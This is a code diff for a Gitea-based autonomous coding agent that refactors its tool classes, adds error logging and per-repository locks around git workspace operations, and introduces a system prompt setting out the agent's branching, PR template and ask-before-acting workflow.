-            content = self._client.get_file_content(owner, repo, path, ref)
+            content = self._client.files.get_file_content(owner, repo, path, ref)
             raw: str = "\n".join(content) if isinstance(content, list) else content
             return self._paginate_lines(raw, offset, limit)
         except Exception as e:
-            return f"Error getting file content: {str(e)}"
+            logger.error(
+                f"Failed to get file content for {owner}/{repo}/{path}@{ref}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not retrieve file '{path}' at ref '{ref}' from {owner}/{repo}. "
+                f"Verify the file path and ref are correct. Details: {e}"
+            )
 
-    def commit_file(self, owner: str, repo: str, path: str, message: str, content: str, branch: str) -> str:
+    def commit_file(
+        self, owner: str, repo: str, path: str, message: str, content: str, branch: str
+    ) -> str:
         try:
-            self._client.update_file(owner, repo, path, message, content, branch)
+            self._client.files.update_file(owner, repo, path, message, content, branch)
             return f"File '{path}' committed successfully to {owner}/{repo}."
         except Exception as e:
-            return f"Error committing file: {str(e)}"
+            logger.error(
+                f"Failed to commit file '{path}' to {owner}/{repo}@{branch}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not commit file '{path}' to {owner}/{repo} on branch '{branch}'. "
+                f"Check for conflicts or permission issues. Details: {e}"
+            )
 
-    def update_file(self, owner: str, repo: str, path: str, message: str, content: str, branch: str) -> str:
+    def update_file(
+        self, owner: str, repo: str, path: str, message: str, content: str, branch: str
+    ) -> str:
         try:
-            self._client.update_file(owner, repo, path, message, content, branch)
+            self._client.files.update_file(owner, repo, path, message, content, branch)
             return f"File '{path}' updated in {owner}/{repo}."
         except Exception as e:
-            return f"Error updating file: {str(e)}"
+            logger.error(
+                f"Failed to update file '{path}' in {owner}/{repo}@{branch}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not update file '{path}' in {owner}/{repo} on branch '{branch}'. "
+                f"Check for conflicts or permission issues. Details: {e}"
+            )

gitea/tools/git_tools.py

@@ -1,4 +1,3 @@
-from typing import Any
 from gitea.client import GiteaClient
 
 
@@ -10,7 +9,7 @@ class GitTools:
 
     def create_branch(self, owner: str, repo: str, ref: str, sha: str) -> str:
         try:
-            self._client.create_ref(owner, repo, ref, sha)
+            self._client.files.create_ref(owner, repo, ref, sha)
             return f"Branch '{ref}' created successfully in {owner}/{repo}."
         except Exception as e:
             return f"Error creating branch: {str(e)}"

gitea/tools/issue_tools.py

@@ -15,19 +15,26 @@ class IssueTools:
     def __init__(self, client: GiteaClient) -> None:
         self._client = client
 
-    def get_issue(self, owner: str, repo: str, issue_number: int) -> str:
+    def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
         try:
-            issue: IssueModel = self._client.get_issue(owner, repo, issue_number)
-            return issue.model_dump_json(indent=2)
+            return self._client.issues.get_issue(owner, repo, issue_number)
         except Exception as e:
-            return f"Error getting issue: {str(e)}"
+            logger.error(f"Error getting issue #{issue_number}: {e}", exc_info=True)
+            raise
 
     def close_issue(self, owner: str, repo: str, issue_number: int) -> str:
         try:
-            self._client.close_issue(owner, repo, issue_number)
+            self._client.issues.close_issue(owner, repo, issue_number)
             return f"Issue #{issue_number} closed successfully."
         except Exception as e:
-            return f"Error closing issue: {str(e)}"
+            logger.error(
+                f"Failed to close issue #{issue_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not close issue #{issue_number} in {owner}/{repo}. "
+                f"Check permissions or if the issue is already closed. Details: {e}"
+            )
 
     def get_issue_comments(
         self,
@@ -44,7 +51,7 @@ class IssueTools:
             offset: Zero-based comment index to start from (default 0).
         """
         try:
-            comments: list[CommentModel] = self._client.get_issue_comments(
+            comments: list[CommentModel] = self._client.issues.get_issue_comments(
                 owner, repo, issue_number
             )
             total: int = len(comments)
@@ -58,16 +65,23 @@ class IssueTools:
                 )
             return result
         except Exception as e:
-            return f"Error getting issue comments: {str(e)}"
+            logger.error(
+                f"Failed to get comments for issue #{issue_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not retrieve comments for issue #{issue_number} in {owner}/{repo}. "
+                f"Verify the issue exists and you have access. Details: {e}"
+            )
 
     def list_assigned_issues(self) -> list[dict[str, Any]]:
         try:
-            repos = self._client.list_all_user_repos()
+            repos = self._client.repos.list_all_user_repos()
             all_issues: list[dict[str, Any]] = []
             for repo in repos:
                 owner = repo.owner
                 repo_name = repo.name
-                issues = self._client.list_assigned_issues(owner, repo_name)
+                issues = self._client.issues.list_assigned_issues(owner, repo_name)
                 if issues:
                     all_issues.extend(
                         [
@@ -84,13 +98,20 @@ class IssueTools:
 
     def list_issues(self, owner: str, repo: str, state: str = "open") -> str:
         try:
-            issues = self._client.list_repo_issues(owner, repo, state)
+            issues = self._client.issues.list_repo_issues(owner, repo, state)
             if not issues:
-                return f"No issues in {owner}/{repo}."
+                return f"No {state} issues in {owner}/{repo}."
             summary = [f"#{issue.number}: {issue.title}" for issue in issues]
             return "\n".join(summary)
         except Exception as e:
-            return f"Error listing issues: {str(e)}"
+            logger.error(
+                f"Failed to list {state} issues in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not list issues for {owner}/{repo}. "
+                f"Verify the repository exists and you have access. Details: {e}"
+            )
 
     def create_issue(
         self,
@@ -102,27 +123,48 @@ class IssueTools:
         assignees: list[str] | None = None,
     ) -> str:
         try:
-            issue = self._client.create_issue(
+            issue = self._client.issues.create_issue(
                 owner, repo, title, body, labels, assignees
             )
             return f"Issue #{issue.number} created successfully in {owner}/{repo}."
         except Exception as e:
-            return f"Error creating issue: {str(e)}"
+            logger.error(
+                f"Failed to create issue '{title}' in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not create issue '{title}' in {owner}/{repo}. "
+                f"Check repository permissions and label/assignee names. Details: {e}"
+            )
 
     def add_label_to_issue(
         self, owner: str, repo: str, issue_number: int, label: str
     ) -> str:
         try:
-            self._client.add_label(owner, repo, issue_number, label)
+            self._client.issues.add_label(owner, repo, issue_number, label)
             return f"Label '{label}' added to issue #{issue_number}."
         except Exception as e:
-            return f"Error adding label to issue #{issue_number}: {e}"
+            logger.error(
+                f"Failed to add label '{label}' to issue #{issue_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not add label '{label}' to issue #{issue_number} in {owner}/{repo}. "
+                f"Verify the label exists in the repository. Details: {e}"
+            )
 
     def add_comment_to_issue(
         self, owner: str, repo: str, issue_number: int, body: str
     ) -> str:
         try:
-            self._client.add_comment(owner, repo, issue_number, body)
+            self._client.issues.add_comment(owner, repo, issue_number, body)
             return f"Comment added to issue #{issue_number}."
         except Exception as e:
-            return f"Error adding comment to issue #{issue_number}: {e}"
+            logger.error(
+                f"Failed to add comment to issue #{issue_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not add comment to issue #{issue_number} in {owner}/{repo}. "
+                f"Verify the issue exists and you have write access. Details: {e}"
+            )

gitea/tools/pr_tools.py

@@ -40,19 +40,30 @@ class PRTools:
     def __init__(self, client: GiteaClient) -> None:
         self._client = client
 
-    def get_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
+    def get_pull_request(
+        self, owner: str, repo: str, pull_number: int
+    ) -> PullRequestModel:
         try:
-            pr: PullRequestModel = self._client.get_pull_request(owner, repo, pull_number)
-            return pr.model_dump_json(indent=2)
+            return self._client.prs.get_pull_request(owner, repo, pull_number)
         except Exception as e:
-            return f"Error getting pull request: {str(e)}"
+            logger.error(
+                f"Error getting pull request #{pull_number}: {e}", exc_info=True
+            )
+            raise
 
     def close_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
         try:
-            self._client.close_pull_request(owner, repo, pull_number)
+            self._client.prs.close_pull_request(owner, repo, pull_number)
             return f"Pull request #{pull_number} closed successfully."
         except Exception as e:
-            return f"Error closing pull request: {str(e)}"
+            logger.error(
+                f"Failed to close PR #{pull_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not close PR #{pull_number} in {owner}/{repo}. "
+                f"Check permissions or if the PR is already closed. Details: {e}"
+            )
 
     def get_pull_request_comments(
         self,
@@ -69,7 +80,7 @@ class PRTools:
             offset: Zero-based comment index to start from (default 0).
         """
         try:
-            comments: list[CommentModel] = self._client.get_pull_request_comments(
+            comments: list[CommentModel] = self._client.prs.get_pull_request_comments(
                 owner, repo, pull_number
             )
             total: int = len(comments)
@@ -83,18 +94,32 @@ class PRTools:
                 )
             return result
         except Exception as e:
-            return f"Error getting PR comments: {str(e)}"
+            logger.error(
+                f"Failed to get comments for PR #{pull_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not retrieve comments for PR #{pull_number} in {owner}/{repo}. "
+                f"Verify the PR exists and you have access. Details: {e}"
+            )
 
     def list_assigned_pull_requests(self) -> list[dict[str, Any]]:
         try:
-            repos = self._client.list_all_user_repos()
+            repos = self._client.repos.list_all_user_repos()
             all_prs: list[dict[str, Any]] = []
             for repo_info in repos:
                 repo_owner = repo_info.owner
                 repo_name = repo_info.name
-                prs = self._client.list_assigned_pull_requests(repo_owner, repo_name)
+                prs = self._client.prs.list_assigned_pull_requests(
+                    repo_owner, repo_name
+                )
                 if prs:
-                    all_prs.extend([pr.model_dump() if hasattr(pr, 'model_dump') else pr for pr in prs])
+                    all_prs.extend(
+                        [
+                            pr.model_dump() if hasattr(pr, "model_dump") else pr
+                            for pr in prs
+                        ]
+                    )
             return all_prs
         except Exception as e:
             logger.error(f"Error listing assigned pull requests: {e}", exc_info=True)
@@ -102,20 +127,37 @@ class PRTools:
 
     def list_pull_requests(self, owner: str, repo: str, state: str = "open") -> str:
         try:
-            prs = self._client.list_repo_pull_requests(owner, repo, state)
+            prs = self._client.prs.list_repo_pull_requests(owner, repo, state)
             if not prs:
-                return f"No PRs in {owner}/{repo}."
+                return f"No {state} PRs in {owner}/{repo}."
             summary = [f"#{pr.number}: {pr.title}" for pr in prs]
             return "\n".join(summary)
         except Exception as e:
-            return f"Error listing PRs: {str(e)}"
+            logger.error(
+                f"Failed to list {state} PRs in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not list PRs for {owner}/{repo}. "
+                f"Verify the repository exists and you have access. Details: {e}"
+            )
 
-    def create_pull_request(self, owner: str, repo: str, head: str, base: str, title: str, description: str = "") -> str:
+    def create_pull_request(
+        self,
+        owner: str,
+        repo: str,
+        head: str,
+        base: str,
+        title: str,
+        description: str = "",
+    ) -> PullRequestModel:
         try:
-            pr = self._client.create_pr_via_tea(owner, repo, title, description, head, base)
-            return pr.model_dump_json(indent=2)
+            return self._client.prs.create_pr_via_tea(
+                owner, repo, title, description, head, base
+            )
         except Exception as e:
-            return f"Error creating PR: {str(e)}"
+            logger.error(f"Error creating PR in {owner}/{repo}: {e}", exc_info=True)
+            raise
 
     def update_pull_request(
         self,
@@ -125,19 +167,28 @@ class PRTools:
         title: str | None = None,
         body: str | None = None,
         state: str | None = None,
-    ) -> str:
+    ) -> PullRequestModel:
         try:
-            pr = self._client.update_pull_request(owner, repo, pull_number, title, body, state)
-            return pr.model_dump_json(indent=2)
+            return self._client.prs.update_pull_request(
+                owner, repo, pull_number, title, body, state
+            )
         except Exception as e:
-            return f"Error updating PR #{pull_number}: {str(e)}"
+            logger.error(f"Error updating PR #{pull_number}: {e}", exc_info=True)
+            raise
 
     def add_label_to_pr(self, owner: str, repo: str, pr_number: int, label: str) -> str:
         try:
-            self._client.add_label_pr(owner, repo, pr_number, label)
+            self._client.prs.add_label_pr(owner, repo, pr_number, label)
             return f"Label '{label}' added to PR #{pr_number}."
         except Exception as e:
-            return f"Error adding label to PR #{pr_number}: {e}"
+            logger.error(
+                f"Failed to add label '{label}' to PR #{pr_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not add label '{label}' to PR #{pr_number} in {owner}/{repo}. "
+                f"Verify the label exists in the repository. Details: {e}"
+            )
 
     def get_pull_request_diff(
         self,
@@ -155,10 +206,17 @@ class PRTools:
                          Increment by max_chars to page through a large diff.
         """
         try:
-            diff: str = self._client.get_pull_request_diff(owner, repo, pull_number)
+            diff: str = self._client.prs.get_pull_request_diff(owner, repo, pull_number)
             return _truncate_diff(diff, max_chars, char_offset)
         except Exception as e:
-            return f"Error getting PR diff: {str(e)}"
+            logger.error(
+                f"Failed to get diff for PR #{pull_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not retrieve diff for PR #{pull_number} in {owner}/{repo}. "
+                f"The PR may have no changes or the API is unavailable. Details: {e}"
+            )
 
     def get_pull_request_patch(
         self,
@@ -176,21 +234,48 @@ class PRTools:
                          Increment by max_chars to page through a large patch.
         """
         try:
-            patch: str = self._client.get_pull_request_patch(owner, repo, pull_number)
+            patch: str = self._client.prs.get_pull_request_patch(
+                owner, repo, pull_number
+            )
             return _truncate_diff(patch, max_chars, char_offset)
         except Exception as e:
-            return f"Error getting PR patch: {str(e)}"
+            logger.error(
+                f"Failed to get patch for PR #{pull_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not retrieve patch for PR #{pull_number} in {owner}/{repo}. "
+                f"The PR may have no changes or the API is unavailable. Details: {e}"
+            )
 
-    def approve_pull_request(self, owner: str, repo: str, pull_number: int, comment: str) -> str:
+    def approve_pull_request(
+        self, owner: str, repo: str, pull_number: int, comment: str
+    ) -> str:
         try:
-            self._client.approve_pr(owner, repo, pull_number, comment)
+            self._client.prs.approve_pr(owner, repo, pull_number, comment)
             return f"Approved PR #{pull_number}."
         except Exception as e:
-            return f"Error approving PR: {str(e)}"
+            logger.error(
+                f"Failed to approve PR #{pull_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not approve PR #{pull_number} in {owner}/{repo}. "
+                f"Check that you have review permissions. Details: {e}"
+            )
 
-    def request_changes(self, owner: str, repo: str, pull_number: int, comment: str) -> str:
+    def request_changes(
+        self, owner: str, repo: str, pull_number: int, comment: str
+    ) -> str:
         try:
-            self._client.request_changes_pr(owner, repo, pull_number, comment)
+            self._client.prs.request_changes_pr(owner, repo, pull_number, comment)
             return f"Requested changes on PR #{pull_number}."
         except Exception as e:
-            return f"Error requesting changes: {str(e)}"
+            logger.error(
+                f"Failed to request changes on PR #{pull_number} in {owner}/{repo}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not request changes on PR #{pull_number} in {owner}/{repo}. "
+                f"Check that you have review permissions. Details: {e}"
+            )

gitea/workspace.py

@@ -3,6 +3,7 @@ import logging
 import subprocess
 import base64
 import shutil
+import threading
 from pathlib import Path
 from urllib.parse import urlparse
 from .config import GITEA_REPOS_ROOT, GITEA_URL, GITEA_TOKEN
@@ -12,16 +13,31 @@ logger: logging.Logger = logging.getLogger("gitea-workspace")
 
 
 class WorkspaceManager:
-    """Manages local workspace for Gitea repositories."""
+    """Manages local workspace for Gitea repositories.
+
+    Uses per-repo threading locks to prevent concurrent git operations
+    on the same repository from causing race conditions.
+    """
+
+    _repo_locks: dict[str, threading.Lock] = {}
+    _locks_lock: threading.Lock = threading.Lock()
 
     def __init__(self) -> None:
         self.root_dir: Path = Path(GITEA_REPOS_ROOT).expanduser().resolve()
         self.root_dir.mkdir(parents=True, exist_ok=True)
 
+    @classmethod
+    def get_repo_lock(cls, repo_full_name: str) -> threading.Lock:
+        """Get or create a thread-safe lock for a specific repository."""
+        with cls._locks_lock:
+            if repo_full_name not in cls._repo_locks:
+                cls._repo_locks[repo_full_name] = threading.Lock()
+            return cls._repo_locks[repo_full_name]
+
     def _configure_repo_user(self, repo_path: Path) -> None:
         try:
             client = GiteaClient()
-            user = client.get_authenticated_user()
+            user = client.repos.get_authenticated_user()
             if not user or not user.login:
                 raise RuntimeError("No authenticated user found.")
             username: str = user.login
@@ -32,19 +48,29 @@ class WorkspaceManager:
 
             # Configure extraHeader locally for the repo
             subprocess.run(
-                ["git", "-C", str(repo_path), "config", "http.extraHeader", f"Authorization: Basic {auth_b64}"],
-                check=True, capture_output=True
+                [
+                    "git",
+                    "-C",
+                    str(repo_path),
+                    "config",
+                    "http.extraHeader",
+                    f"Authorization: Basic {auth_b64}",
+                ],
+                check=True,
+                capture_output=True,
             )
 
             name: str = user.full_name or user.login
             email: str = user.email or f"{user.login}@noreply.gitea"
             subprocess.run(
                 ["git", "-C", str(repo_path), "config", "user.name", name],
-                check=True, capture_output=True
+                check=True,
+                capture_output=True,
             )
             subprocess.run(
                 ["git", "-C", str(repo_path), "config", "user.email", email],
-                check=True, capture_output=True
+                check=True,
+                capture_output=True,
             )
         except Exception as e:
             logger.error(f"Error configuring local git user: {e}")
@@ -60,63 +86,102 @@ class WorkspaceManager:
         return f"{parsed.scheme}://{parsed.netloc}{path}/{repo_full_name}.git"
 
     def sanitize_repo(self, repo_full_name: str, repo_path: Path) -> None:
+        lock = self.get_repo_lock(repo_full_name)
+        with lock:
+            logger.debug(f"Acquired workspace lock for {repo_full_name} (sanitize)")
+            self._sanitize_repo_inner(repo_full_name, repo_path)
+
+    def _sanitize_repo_inner(self, repo_full_name: str, repo_path: Path) -> None:
         try:
             auth_url = self._get_authenticated_url(repo_full_name)
             subprocess.run(
                 ["git", "-C", str(repo_path), "remote", "set-url", "origin", auth_url],
-                check=True, capture_output=True,
+                check=True,
+                capture_output=True,
             )
             self._configure_repo_user(repo_path)
 
             # Check for any uncommitted changes or untracked files
             status_res = subprocess.run(
                 ["git", "-C", str(repo_path), "status", "--porcelain"],
-                check=True, capture_output=True, text=True
+                check=True,
+                capture_output=True,
+                text=True,
             )
             if status_res.stdout.strip():
-                logger.info(f"Uncommitted changes detected in {repo_path}. Stashing before sanitization.")
+                logger.info(
+                    f"Uncommitted changes detected in {repo_path}. Stashing before sanitization."
+                )
                 subprocess.run(
-                    ["git", "-C", str(repo_path), "stash", "push", "-u", "-m", "Auto-backup before agent sanitization"],
-                    check=True, capture_output=True
+                    [
+                        "git",
+                        "-C",
+                        str(repo_path),
+                        "stash",
+                        "push",
+                        "-u",
+                        "-m",
+                        "Auto-backup before agent sanitization",
+                    ],
+                    check=True,
+                    capture_output=True,
                 )
 
             subprocess.run(
                 ["git", "-C", str(repo_path), "reset", "--hard", "HEAD"],
-                check=True, capture_output=True,
+                check=True,
+                capture_output=True,
             )
             subprocess.run(
                 ["git", "-C", str(repo_path), "clean", "-fdx"],
-                check=True, capture_output=True,
+                check=True,
+                capture_output=True,
             )
             try:
                 subprocess.run(
                     ["git", "-C", str(repo_path), "checkout", "main"],
-                    check=True, capture_output=True,
+                    check=True,
+                    capture_output=True,
                 )
             except subprocess.CalledProcessError:
                 subprocess.run(
                     ["git", "-C", str(repo_path), "checkout", "master"],
-                    check=True, capture_output=True,
+                    check=True,
+                    capture_output=True,
                 )
             try:
                 subprocess.run(
                     ["git", "-C", str(repo_path), "pull", "origin", "main"],
-                    check=True, capture_output=True,
+                    check=True,
+                    capture_output=True,
                 )
             except subprocess.CalledProcessError:
                 subprocess.run(
                     ["git", "-C", str(repo_path), "pull", "origin", "master"],
-                    check=True, capture_output=True,
+                    check=True,
+                    capture_output=True,
                 )
         except Exception as e:
             logger.error(f"Error during sanitization: {e}", exc_info=True)
-            raise RuntimeError(f"Failed to sanitize repository {repo_full_name} at {repo_path}: {e}") from e
+            raise RuntimeError(
+                f"Failed to sanitize repository {repo_full_name} at {repo_path}: {e}"
+            ) from e
 
     def clone_repo(self, repo_full_name: str, clone_url: str | None = None) -> Path:
+        lock = self.get_repo_lock(repo_full_name)
+        with lock:
+            logger.debug(f"Acquired workspace lock for {repo_full_name} (clone)")
+            return self._clone_repo_inner(repo_full_name, clone_url)
+
+    def _clone_repo_inner(
+        self, repo_full_name: str, clone_url: str | None = None
+    ) -> Path:
         repo_path: Path = self.get_repo_path(repo_full_name)
         if repo_path.exists():
             if not (repo_path / ".git").exists():
-                new_path: Path = repo_path.parent / f"{repo_full_name.replace('/', '_')}_old"
+                new_path: Path = (
+                    repo_path.parent / f"{repo_full_name.replace('/', '_')}_old"
+                )
                 if new_path.exists():
                     shutil.rmtree(new_path)
                 repo_path.rename(new_path)
@@ -126,7 +191,7 @@ class WorkspaceManager:
         auth_url = self._get_authenticated_url(repo_full_name)
 
         client = GiteaClient()
-        user = client.get_authenticated_user()
+        user = client.repos.get_authenticated_user()
         if not user or not user.login:
             raise RuntimeError("No authenticated user found.")
         username: str = user.login
@@ -135,8 +200,16 @@ class WorkspaceManager:
         auth_bytes: bytes = auth_str.encode("utf-8")
         auth_b64: str = base64.b64encode(auth_bytes).decode("utf-8")
         subprocess.run(
-            ["git", "clone", "-c", f"http.extraHeader=Authorization: Basic {auth_b64}", auth_url, str(repo_path)],
-            check=True, capture_output=True
+            [
+                "git",
+                "clone",
+                "-c",
+                f"http.extraHeader=Authorization: Basic {auth_b64}",
+                auth_url,
+                str(repo_path),
+            ],
+            check=True,
+            capture_output=True,
         )
         self._configure_repo_user(repo_path)
         return repo_path

main.py

@@ -11,7 +11,7 @@ from gitea.tools.issue_tools import IssueTools
 from gitea.tools.pr_tools import PRTools
 from gitea.tools.file_tools import FileTools
 from gitea.tools.git_tools import GitTools
-from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES
+from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES, GITEA_REPOS_ROOT
 from core.orchestrator import AgentOrchestrator
 
 import json
@@ -61,7 +61,7 @@ async def main() -> None:
     # Initialize Gitea components
     client: GiteaClient = GiteaClient()
     try:
-        user = client.get_authenticated_user()
+        user = client.repos.get_authenticated_user()
         if not user or not user.login:
             raise RuntimeError("No authenticated user found.")
         logger.info(f"Authenticated as user: {user.login}")
@@ -73,7 +73,7 @@ async def main() -> None:
 
     issue_tools: IssueTools = IssueTools(client)
     pr_tools: PRTools = PRTools(client)
-    file_tools: FileTools = FileTools(client)
+    file_tools: FileTools = FileTools(client, GITEA_REPOS_ROOT)
     git_tools: GitTools = GitTools(client)
     model_name: str = AGENT_MODEL_ID
 

prompts/coding_agent.txt

@@ -0,0 +1,220 @@
+
+CODING AGENT SYSTEM PROMPT
+
+You are an autonomous AI Software Engineer working on the `meeks` organization's repositories. Your role is to resolve assigned issues by branching from master, implementing fixes, and creating pull requests.
+
+### 🎯 SCOPE & BOUNDARIES
+- **Organization**: You ONLY work on repositories under the `meeks` organization (e.g., `meeks/ai-electronbun-todo-app`).
+- **DO NOT work on**: any other organization/personal repos.
+- **DO NOT create new repositories**. The repo already exists. It is cloned locally in the workspace (which is your current working directory).
+- **DO NOT edit `.git` files** unless explicitly asked to resolve a git conflict or rebase issue.
+
+### 🏗️ REPOSITORY WORKFLOW (MANDATORY)
+Every change MUST follow this exact workflow:
+
+1. **Checkout master**: Always start from the latest master branch.
+   ```bash
+   git checkout master && git pull origin master
+   ```
+
+2. **Create branch**: Use Angular convention for branch naming:
+   ```bash
+   # Types: feat, fix, chore, docs, style, refactor, test, build, ci, perf
+   # Branch names MUST include a descriptive name, not just the issue number or numbers.
+   git checkout -b feat/issue-<number>-descriptive-name
+   ```
+   - `feat/` for new features
+   - `fix/` for bug fixes
+   - `chore/` for maintenance tasks
+   - `docs/` for documentation
+   - `style/` for code style (formatting, semicolons, etc.)
+   - `refactor/` for code refactoring (no behavior change)
+   - `test/` for adding or updating tests
+   - `build/` for build system changes
+   - `ci/` for CI/CD pipeline changes
+   - `perf/` for performance improvements
+
+3. **Implement changes**: Edit files using `edit_file` or `write_file`. Make targeted, incremental changes.
+
+4. **Commit**: Use conventional commit messages:
+   ```bash
+   git add <files>
+   git commit -m "type: brief description of changes"
+   # Examples:
+   # git commit -m "fix: update dev script to use vite dev server"
+   # git commit -m "feat: add localStorage persistence to todo store"
+   ```
+
+5. **Push**: Push your branch to origin:
+   ```bash
+   git push origin feat/descriptive-name
+   ```
+
+6. **Create / Update PR**: Always create or update PRs using the dedicated tools `create_pull_request` and `update_pull_request`.
+   Do NOT use Gitea's `tea` CLI or GitHub's `gh` CLI via `run_command` (they run interactively and will freeze/hang indefinitely).
+   Call the tools directly.
+   The PR description/body MUST follow the template below.
+
+### 📋 PR TEMPLATE (MANDATORY)
+Every PR body MUST use this exact template:
+
+```
+<!-- 🤖 GITEA AUTOMATION BLOCK -->
+closes #<ISSUE_NUMBER>
+Impact Radius: [Auth, Database, UI Component, API Endpoint, etc.]
+
+---
+
+## 📝 Summary
+<!-- Short summary of what this PR introduces and why it is needed. -->
+<YOUR_SUMMARY_HERE>
+
+---
+
+## 🛠️ Technical Implementation
+- [ ] **Database:** [Schema migration added / No changes]
+- [ ] **Dependencies:** [Upgraded Package X / No new packages]
+- [ ] **Breaking Changes:** [Yes / No] -> *If yes, explain downstream impact:*
+
+---
+
+## 🧪 Verification & Testing
+
+### Manual Verification Steps
+1. <STEP_1>
+2. <STEP_2>
+3. <STEP_3>
+
+### Automated Test Status
+- [ ] Unit Tests [Passed / Added]
+- [ ] Integration/E2E Tests [Passed / Added]
+
+---
+
+## 🚨 Risk & Rollback Strategy
+- **Deployment Caveats:** [None / Specific env vars needed]
+- **Rollback Plan:** [Revert commit / toggle feature flag]
+
+---
+
+## 📋 Quality Checklist
+- [ ] Code follows project style guidelines and architectural patterns.
+- [ ] Documentation (README, inline comments) is updated.
+- [ ] Secure practices followed (no hardcoded secrets, input sanitized).
+```
+
+### 🌐 RESEARCH BEFORE ACTING (MANDATORY)
+
+Before writing any code or making any changes, you MUST:
+
+1. **Search online** for documentation, known solutions, package APIs, error explanations, and platform-specific behavior.
+   - Use web search tools for: library docs, error messages, OS-specific quirks, framework conventions.
+   - Do NOT guess at APIs or behavior you are not certain about — look them up first.
+   - Examples: package.json script syntax, cross-platform shell commands, framework lifecycle hooks, etc.
+
+2. **Identify uncertainties** in the issue or PR:
+   - Is the expected behavior clearly defined?
+   - Are there platform constraints you don't know about (Windows vs Linux vs macOS)?
+   - Are there user preferences not stated?
+   - Could multiple approaches work and you're unsure which to pick?
+
+3. **If ANY uncertainty exists** — STOP and ask before implementing:
+   - Post a comment on the issue or PR (using `add_comment_to_issue` tool) with your specific question(s).
+   - List the approaches you are considering and ask which is preferred.
+   - **Your comment MUST include the following marker on its own line at the very end:**
+     ```
+     <!-- agent:awaiting-reply -->
+     ```
+     This tells the system you are explicitly waiting for a human response, and prevents you from being re-dispatched to repeat the same question.
+   - Do NOT proceed with implementation until you receive a reply.
+   - Do NOT make assumptions and proceed silently.
+   - Do NOT repeat the same question in subsequent runs — if you already asked, wait.
+
+4. **After researching and confirming requirements**, then implement.
+
+⚠️ **CRITICAL**: An assumption that turns out wrong wastes everyone's time. Always prefer asking over guessing.
+
+---
+
+### 🔍 ISSUE HANDLING WORKFLOW
+
+#### When Processing an Issue:
+1. **Read the full issue description** and all comments carefully.
+2. **Check AGENTS.md** in the repo root for project-specific conventions, verification steps, and coding standards.
+3. **Research online** — search for relevant docs, solutions, and platform behavior before writing any code.
+4. **Identify ambiguities** — if the issue is unclear, missing context, or has multiple valid approaches, post a clarifying comment on the issue and STOP. Wait for a human response before proceeding.
+5. **Assess severity**:
+   - **Critical/High**: Fix immediately (e.g., broken builds, data loss, security issues, production bugs).
+   - **Medium**: Review and fix (e.g., missing features, poor UX, technical debt).
+   - **Low**: Skip or defer (e.g., cosmetic issues, minor typos, nitpicks).
+6. **Formulate a plan** based on the issue description, research findings, and AGENTS.md.
+7. **Implement the fix** following the repository workflow above.
+8. **Verify the fix**:
+   - If AGENTS.md has verification steps, follow them.
+   - Otherwise, review the diff vs master and validate code quality.
+   - Research dependencies to ensure code standards are met.
+9. **Create a PR** linking the issue using the dedicated `create_pull_request` tool. Do NOT use the `tea` CLI via `run_command`.
+10. **Comment on the issue** (using `add_comment_to_issue`) immediately after PR creation, stating the PR number/link and a brief summary.
+11. **An issue is DONE when the connected PR is merged** (you cannot merge yourself — leave it for humans).
+
+#### When Fixing/Updating a PR (addressing review feedback):
+1. **Read all review comments and change requests** on the PR carefully.
+2. **Research online** for any technology or approach mentioned in the feedback you are not 100% sure about.
+3. **If any feedback is ambiguous** — post a clarifying comment on the PR asking for clarification. Do NOT guess what the reviewer meant. Stop and wait for a reply.
+4. **Once feedback is clear**, implement fixes on the existing branch (do NOT create a new branch or PR).
+5. **Push and comment** on the PR with a summary of all changes made.
+
+#### When Reviewing a PR:
+1. **DO NOT write files, make commits, push branches, or create any new PRs**. Your only task is to review the existing PR.
+2. **Research online** any technology, library, or approach used in the PR that you are not certain about before critiquing it.
+3. **Check out the diff** vs master: `git diff origin/master...HEAD`.
+4. **Review code quality**:
+   - Does it follow project conventions (check AGENTS.md)?
+   - Are there security issues?
+   - Is there proper error handling?
+   - Are edge cases covered?
+   - Are dependencies used correctly?
+5. **Grade the severity** of any issues found:
+   - **Critical**: Blocker, must fix before merge.
+   - **Medium**: Should fix, but can merge with notes.
+   - **Low**: Nice-to-have, can defer.
+6. **Post a review comment on the PR** with:
+   - Files and line numbers with markup visualization.
+   - Severity grade.
+   - Specific feedback and suggested fixes.
+7. **If you find something you don't understand** — ask a question in the PR comment rather than raising a false alarm.
+8. **DO NOT fix the issues yourself** during review. The author (another agent or human) will fix them in the next loop.
+
+### 🚨 ERROR HANDLING
+- If you cannot fix an issue, **comment on the issue** with:
+  - What you tried.
+  - What code changes you attempted.
+  - Why the fix failed.
+- Do NOT mark the issue as done. The issue is only done when the PR is merged.
+- If verification fails, continue debugging until it passes.
+
+### 📝 COMMUNICATION
+- **Issues**: Use for describing problems and asking clarifying questions when requirements are unclear.
+- **PRs**: Use for proposing changes with detailed explanations.
+- **PR Comments**: Use for review feedback, questions, and status updates.
+- **When uncertain**: ALWAYS post a question as a comment and stop work. Never silently assume.
